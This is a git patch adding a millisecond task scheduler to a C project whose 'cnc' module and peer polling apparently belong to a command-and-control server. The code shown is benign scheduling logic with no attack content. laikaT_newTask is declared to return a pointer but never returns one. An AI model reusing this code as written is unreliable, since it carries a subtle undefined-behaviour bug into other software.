From a6bd24443139bf9e2745f42c42c2e956772e8eb8 Mon Sep 17 00:00:00 2001 From: CPunch Date: Fri, 4 Feb 2022 13:15:06 -0600 Subject: [PATCH] Added TaskService, ltask.[ch] - cnc's main.c has an example of scheduling tasks - switched to C11, might go back to C99 if i get the motivation to write a windows-specific getTime() implementation --- cnc/src/main.c | 15 ++++++-- lib/include/ltask.h | 32 ++++++++++++++++ lib/src/ltask.c | 93 +++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 137 insertions(+), 3 deletions(-) create mode 100644 lib/include/ltask.h create mode 100644 lib/src/ltask.c diff --git a/cnc/src/main.c b/cnc/src/main.c index 2c13083..79f9633 100644 --- a/cnc/src/main.c +++ b/cnc/src/main.c @@ -1,14 +1,23 @@ #include +#include "ltask.h" #include "cnc.h" +struct sLaika_taskService tService; + +void debugTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) { + printf("hello !\n"); +} + int main(int argv, char **argc) { struct sLaika_cnc *cnc = laikaC_newCNC(13337); + laikaT_initTaskService(&tService); + laikaT_newTask(&tService, 2000, debugTask, NULL); + while (true) { - if (!laikaC_pollPeers(cnc, 1000)) { - LAIKA_DEBUG("no events!\n"); - } + laikaC_pollPeers(cnc, laikaT_timeTillTask(&tService)); + laikaT_pollTasks(&tService); } laikaC_freeCNC(cnc); diff --git a/lib/include/ltask.h b/lib/include/ltask.h new file mode 100644 index 0000000..7b8299c --- /dev/null +++ b/lib/include/ltask.h @@ -0,0 +1,32 @@ +#ifndef LAIKA_TASK_H +#define LAIKA_TASK_H + +#include + +struct sLaika_task; +struct sLaika_taskService; +typedef void (*taskCallback)(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData); + +struct sLaika_task { + struct sLaika_task *next; + taskCallback callback; + void *uData; + long scheduled; +}; + +struct sLaika_taskService { + struct sLaika_task *headTask; +}; + +void laikaT_initTaskService(struct sLaika_taskService *service); +void laikaT_cleanTaskService(struct sLaika_taskService *service); + +struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, taskCallback callback, void *uData); +void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task); + +void laikaT_pollTasks(struct sLaika_taskService *service); + +/* will return the delta time in ms till the next event. -1 for no tasks scheduled */ +int laikaT_timeTillTask(struct sLaika_taskService *service); + +#endif \ No newline at end of file diff --git a/lib/src/ltask.c b/lib/src/ltask.c new file mode 100644 index 0000000..73d5991 --- /dev/null +++ b/lib/src/ltask.c @@ -0,0 +1,93 @@ +#include "lmem.h" +#include "ltask.h" + +/* this is the only reason C11 support is needed, i cba to write windows/linux specific stuff to get the current time in ms + also side note: microsoft? more like micropenis */ +long getTime() { + struct timespec ts; + timespec_get(&ts, TIME_UTC); + return ts.tv_sec*1000 + ts.tv_nsec/1000000; /* convert nanoseconds to milliseconds */ +} + +void laikaT_initTaskService(struct sLaika_taskService *service) { + service->headTask = NULL; +} + +void laikaT_cleanTaskService(struct sLaika_taskService *service) { + struct sLaika_task *curr = service->headTask, *last; + + /* walk though tasks, freeing all */ + while (curr != NULL) { + last = curr; + curr = curr->next; + laikaM_free(last); + } +} + +struct sLaika_task *laikaT_newTask(struct sLaika_taskService *service, int delta, taskCallback callback, void *uData) { + struct sLaika_task *curr = service->headTask, *last = NULL, *task = laikaM_malloc(sizeof(struct sLaika_task)); + + task->callback = callback; + task->uData = uData; + task->scheduled = getTime() + delta; + + /* search list for event for which we're scheduled before */ + while (curr != NULL && curr->scheduled < task->scheduled) { + last = curr; + curr = curr->next; + } + + /* if we stopped at the first head item, set it */ + if (curr == service->headTask) { + task->next = service->headTask; + service->headTask = task; + } else { + /* add to list */ + task->next = curr; + if (last) + last->next = task; + } +} + +void laikaT_delTask(struct sLaika_taskService *service, struct sLaika_task *task) { + struct sLaika_task *curr = service->headTask, *last = NULL; + + if (task == service->headTask) { + service->headTask = task->next; + } else { + /* find in list */ + while (curr != task) { + last = curr; + curr = curr->next; + } + + /* unlink */ + last->next = task->next; + } + + laikaM_free(task); +} + +void laikaT_pollTasks(struct sLaika_taskService *service) { + struct sLaika_task *last, *curr = service->headTask; + clock_t currTick = getTime(); + + /* run each task, list is already sorted from closest scheduled task to furthest */ + while (curr != NULL && curr->scheduled < currTick) { /* if scheduled time is greater than currTime, all events that follow are also not scheduled yet */ + /* dispatch task callback */ + curr->callback(service, curr, currTick, curr->uData); + + /* walk to next task and free */ + last = curr; + curr = curr->next; + laikaT_delTask(service, last); + } +} + +/* will return the delta time in ms till the next event. -1 for no tasks scheduled */ +int laikaT_timeTillTask(struct sLaika_taskService *service) { + if (service->headTask) + return service->headTask->scheduled - getTime(); + else + return -1; /* no tasks scheduled */ +} \ No newline at end of file